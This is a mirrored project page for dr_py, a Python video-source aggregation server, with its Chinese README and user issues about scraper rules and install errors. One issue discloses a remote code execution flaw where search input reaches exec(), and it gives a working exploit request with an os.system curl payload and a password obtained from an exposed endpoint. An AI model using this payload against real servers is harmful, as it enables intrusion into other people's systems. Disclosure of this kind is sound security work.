Giter Club home page Giter Club logo

dr_py's Introduction

🚀第二派-dr模板的python实现🚀

logo

🗂️A webServer convert web and x5 movie sites to cms api data

latest version discussions Downloads Downloads License License

🚀特性

  1. dr模板的python实现,可直接用于tv_box和pluto软件数据源使用,无需懂java知识也能使用
  2. 参考了海阔视界dr模板设计思路
  3. 参考tv_box的t4项目思路重新设计了cms接口

python3.6-3.8完美运行(3.9以上不支持linux进程启动)

新项目-hipy
更新日志 | C#版drpy | 推荐PC端使用zyplayer新版
android&linux&macos搭建教程 | windows搭建教程
写源教程 | js压缩.min.js
十分钟学会python


JS引擎的选择
我的豆瓣
爱看不看|goorm|大佬地盘
其他语言实现drpy-cms接口
快速搭建海阔视界道长仓库
dr项目QQ官群

项目修复

进入容器drpy项目根目录执行以下代码

cd utils && wget https://ghproxy.liuzhicong.com/https://raw.githubusercontent.com/hjdhnx/dr_py/main/utils/update.py -O update.py

执行后重启9001或者docker即可正常检测升级

谷歌浏览器跨域支持嗅探

"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-site-isolation-trials --disable-web-security --disable-features=SameSiteByDefaultCookies,CookiesWithoutSameSiteMustBeSecure --user-data-dir=C:\Program Files\Google\Chrome\Application

参考地址

参考T4
golang最好的js引擎-goja
安卓最好的js引擎
flutter最好的js引擎-dart_quickjs
dockerfile教程
获取本地设备信息
获取本地设备信息 sqlite3使用教程
远程网站
本地网站
gevent下载地址 aarch64的cp310
chatgpt

dr_py's People

Contributors

524187805 avatar hjdhnx avatar mayunaliqq avatar mymine avatar sanshu-rom avatar willwang1989 avatar xisohi avatar yjczxccom avatar yuanhsing avatar yutons avatar zhanghong1983 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

dr_py's Issues

如何添加个人配置?

如何添加一段个人json的配置,追加到最后的配置里。比如增加一段

    {
      "key": "AList",
      "name": "AList",
      "type": 3,
      "api": "csp_AList",
      "searchable": 1,
      "changeable": 0,
      "ext": "https://raw.githubusercontent.com/FongMi/CatVodSpider/main/json/alist.json"
    }

谢谢

使用教学

从Zyplayer的推荐过来的,但是下载之后不会使用,app.py运行报错cannot import name 'url_quote' from 'werkzeug.urls' ,想求大佬给个简单的使用步骤

我写了一个量子资源采集站的js,希望能够过滤一些分类的搜索结果,但是目前有两个地方不知道如何去写,希望大佬能够指导一下

var rule = { title: '01量子', host: 'https://cj.lzcaiji.com', homeUrl: '/api.php/provide/vod?ac=detail', detailUrl: '/api.php/provide/vod?ac=detail&ids=fyid', searchUrl: '/api.php/provide/vod?ac=detail&wd=**&pg=fypage', searchable: 2,//是否启用全局搜索, quickSearch: 0,//是否启用快速搜索, filterable: 0,//是否启用分类筛选, multi: 1, url: '/api.php/provide/vod?ac=detail&t=fyclass&pg=fypage&f=', class_name: '电影片&连续剧&综艺片&动漫片&动作片&喜剧片&爱情片&科幻片&恐怖片&剧情片&战争片&国产剧&香港剧', class_url: '1&2&3&4&6&7&8&9&10&11&12&13&14', timeout: 5000, limit: 20, 推荐: 'json:list;vod_name;vod_pic;vod_remarks;vod_id;vod_pubdate', 一级: 'json:list;vod_name;vod_pic;vod_remarks;vod_id;vod_pubdate', /** * TODO 问题1: * 资源采集站,二级链接如何解析? */ 二级: json:list;vod_name;vod_pic;vod_remarks;vod_id;vod_pubdate, /** * TODO 问题2: * 资源采集站,此处如何使用js:方式实现数据解析 * 目的:希望能够通过js:方式实现搜索结果过滤,过滤一些分类的搜索结果 */ 搜索: 'json:list;vod_name;vod_pic;vod_remarks;vod_id;vod_pubdate', }

3.49beta11报错

/root/sd/pywork/dr_py/js/rules.py[line:155]:INFO:dr.log -- 装载js内置源列表失败,置空内置源并更新drpy_js_rule.js文件内容:SyntaxError: unexpected character at :3380

Forbidden

You don't have the permission to access the requested resource. It is either read-protected or not readable by the server.

windows docker 5705端口,这是什么原因呢?
9001需要登陆,,用户名密码不知道是啥

请教大佬,JS中可以对线路标题修改和排序吗?

请教大佬,JS中可以对线路标题修改和排序吗? 类似于下面XBPQ

"线路数组": "<span class="pull-right">&&/h3>[替换:Y云播>>糖果专享#暴风云播>>1080P1#自营云播e>>1080P2#非凡云播>>非凡#量子云播>>量子#无尽云播>>无尽][排序:糖果专享>1080P1>1080P2>非凡>无尽>量子]",
"线路标题": "

&&<",

完善腾讯搜索结果

搜索:'js:let d=[];pdfa=jsp.pdfa;pdfh=jsp.pdfh;pd=jsp.pd;let html=request(input);let baseList=pdfa(html,"body&&.result_item_v");baseList.forEach(function(it){let longText=pdfh(it,".result_title&&a&&Text");let shortText=pdfh(it,".type&&Text");let fromTag=pdfh(it,".result_source&&Text");let score=pdfh(it,".figure_info&&Text");let content=pdfh(it,".desc_text&&Text");let url=pdfh(it,".result_title&&a&&href");let img=pd(it,".figure_pic&&src");url="https://node.video.qq.com/x/api/float_vinfo2?cid="+url.match(/.*\\/(.*?)\\.html/)[1];log(shortText+"|"+url);if(fromTag.match(/腾讯/)){d.push({title:longText.split(shortText)[0],img:img,url:url,content:content,desc:shortText+" "+score})}});setResult(d);',

windows系统搭建时quickjs搭建出错

`Building wheels for collected packages: quickjs
Building wheel for quickjs (setup.py): started
Building wheel for quickjs (setup.py): finished with status 'error'
error: subprocess-exited-with-error

python setup.py bdist_wheel did not run successfully.
exit code: 1

[15 lines of output]
running bdist_wheel
running build
running build_py
creating build
creating build\lib.win32-3.7
creating build\lib.win32-3.7\quickjs
copying quickjs_init_.py -> build\lib.win32-3.7\quickjs
running build_ext
building '_quickjs' extension
creating build\temp.win32-3.7
creating build\temp.win32-3.7\Release
creating build\temp.win32-3.7\Release\upstream-quickjs
C:\Program Files (x86)\Microsoft Visual Studio\2022\BuildTools\VC\Tools\MSVC\14.38.33130\bin\HostX86\x86\cl.exe /c /nologo /Ox /W3 /GL /DNDEBUG /MD -DCONFIG_VERSION="2021-03-27" -DCONFIG_BIGNUM -Ic:\users\86178\appdata\local\programs\python\python37-32\include -Ic:\users\86178\appdata\local\programs\python\python37-32\include "-IC:\Program Files (x86)\Microsoft Visual Studio\2022\BuildTools\VC\Tools\MSVC\14.38.33130\include" "-IC:\Program Files (x86)\Microsoft Visual Studio\2022\BuildTools\VC\Auxiliary\VS\include" "-IC:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt" "-IC:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\um" "-IC:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\shared" "-IC:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\winrt" "-IC:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\cppwinrt" /Tcmodule.c /Fobuild\temp.win32-3.7\Release\module.obj -Werror=incompatible-pointer-types
cl: 命令▒\x8c error D8021 :无效的数值参数▒\x80\x9c/Werror=incompatible-pointer-types▒\x9d
error: command 'C:\Program Files (x86)\Microsoft Visual Studio\2022\BuildTools\VC\Tools\MSVC\14.38.33130\bin\HostX86\x86\cl.exe' failed with exit status 2
[end of output]

note: This error originates from a subprocess, and is likely not a problem with pip.
ERROR: Failed building wheel for quickjs
Running setup.py clean for quickjs
Failed to build quickjs
ERROR: Could not build wheels for quickjs, which is required to install pyproject.toml-based projects
`
是不是我用的Python版本有问题,我用的是3.7.7的32位python

There is a code execution vulnerability in dr_py 3.9.

A code execution vulnerability in controllers.cms.CMS.searchContent allows an attacker to unconditionally execute system commands.
The relevant code is as follows.

    if wd:  # 搜索
        if rule == 'drpy':
            print(f'准备单独处理聚合搜索:{wd}')
            return multi_search(wd)
            # return multi_search2(wd)
        else:
            data = cms.searchContent(wd, pg)
            # print(data)
            return jsonify(data)

After code audit, in order to get here, the following three parameters need to be passed: pwd, rule, wd.
The pwd parameter must be verified with js0_password = lsg.getItem('JS0_PASSWORD', cfg.get('JS0_PASSWORD', '')). If they are consistent, you can go down. Otherwise, it will exit and report 403.
The rule parameter must be checked against the rules in rule_list to pass, otherwise it will exit.
The wd parameter is the payload to be passed in.
Obtain all fields that can query storage_service through the /info route, including JS0_PASSWORD
image

For the rule parameter, you only need to ensure that it exists in rule_list. You can get the rule list by accessing the /rules/view route. You can select one of several rules. The one selected here is AnFuns.
image
The last is the wd parameter, because the vulnerability code is like this,

if url.find('fypage') > -1:
    if '(' in url and ')' in url:
        # url_rep = url[url.find('('):url.find(')')+1]
        # cnt_page = url.split('(')[1].split(')')[0].replace('fypage',pg)
        # print(url_rep)
        url_rep = re.search('.*?\((.*)\)', url, re.M | re.S).groups()[0]
        cnt_page = url_rep.replace('fypage', pg)
        # print(url_rep)
        # print(cnt_page)
        cnt_ctx = {}
        exec(f'cnt_pg={cnt_page}', cnt_ctx)
        cnt_pg = str(cnt_ctx['cnt_pg'])  # 计算表达式的结果
        url = url.replace(url_rep, str(cnt_pg)).replace('(', '').replace(')', '')
        # print(url)

So you need to put the actual payload in () brackets, the request is as follows.

GET /vod?pwd=dzyyds&rule=AnFuns&wd=(1111;import%20os;os.system("curl%20127.0.0.1:9999")) HTTP/1.1
Host: 127.0.0.1:5705
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: sid=71884250c4b04a0c9c5827090c2553a8; token=b962db9103003a2a8b52d1fe5f33c7d4
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

image

请教下没有详情页的网站,二级要怎么才能继承一级的标题和图片

下面是我写好了的,但是二级的标题和图片有问题,跪求写法。
另外,项目中的Auete源也有问题,使用的写法 tab_text":"h2--span&&Text", 会出现个别资源获取不到播放源和集数,原播放源标题太长了,站长换了新域名 https://auete.art/ 挂梯打不开

var rule = {
    title:'人人影视',
    host:'https://www.renren.pro',
    homeUrl:'/',
    url:'/list/fyclass?page=fypage',
    searchUrl:'/search?wd=**',
    headers:{'User-Agent':'MOBILE_UA'},
    timeout:5000,
    class_name:'影视库',
    class_url:'all',
    play_parse:true,
    limit:6,
    double:true,
    推荐:'*',
    一级:'.module-items&&.module-item;a&&title;img&&data-src;.module-item-text&&Text;a&&href',
    二级:{
        "title":".thesis-wrap&&Text;.video-info-aux&&a&&Text",
        "img":"",
        "desc":";.video-info-aux&&a:eq(2)&&Text;.video-info-aux&&a:eq(1)&&Text;",
        "content":".title-info&&Text",
        "tabs":"js:TABS=['在线播放']",
        "lists":".module-blocklist&&a"
    },
    搜索:'.module-items&&.module-search-item;h3&&Text;.lazyload&&data-src;.video-serial&&Text;a&&href',
}

哔哩影视.js搜索结果不全

哔哩影视 搜索名侦探柯南 只有前30个结果,后面的结果不显示,而是从第一个搜索结果开始无限循环显示,麻烦道长帮忙看一下。谢谢

写了个源,首页、列表、搜索、详情页都正常,播放的时候显示播放失败,请大佬指导下如何修改

写了个源,首页、列表、搜索、详情页都正常,播放的时候显示播放失败,请大佬指导下如何修改
var rule= {
title:'369影视',
host:'https://www.cs1369.com',
// url:'/index.php/vod/show/id/fyclass/page/fypage.html',
url:'/show/id/fyclass/page/fypage.html',
searchable: 2,//是否启用全局搜索,
quickSearch: 0,//是否启用快速搜索,
filterable:1,//是否启用分类筛选,
class_parse: '.stui-header__menu&&li:gt(0):lt(4);a&&Text;a&&href;./(.?).html',
play_parse: true,
lazy:'',
limit: 6,
searchUrl:'/search/page/fypage/wd/**.html',
detailUrl:'/detail/fyid.html', //非必填,二级详情拼接链接
推荐: '.stui-pannel:eq(2);.stui-vodlist&&li;a&&title;a&&data-original;.pic-text&&Text;a&&href',
double: true, // 推荐内容是否双层定位
一级: '.stui-vodlist li;a&&title;a&&data-original;.pic-text&&Text;a&&href',
二级: {
"title": "h1&&Text;.data&&Text",
"img": "img&&data-original",
"desc": ';;;.video-info-actor:eq(1)&&Text;.video-info-actor:eq(0)&&Text',
"content": ".stui-pannel:eq(2)&&p&&Text",
"tabs": "h3:eq(0)",
"lists": ".stui-content__playlist&&li"
},
搜索:'.stui-vodlist__media li;a&&title;a&&data-original;.pic-text&&Text;a&&href',
}

3.9.49beta32更新后报错

更新后报错

2024-02-12 09:33:20 - /root/sd/pywork/dr_py/js/rules.py[line:155]:INFO:dr.log -- 装载js内置源列表失败,置空内置源并更新drpy_js_rule.js文件内容:ReferenceError: 'HOST' is not defined
at (:4522)

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.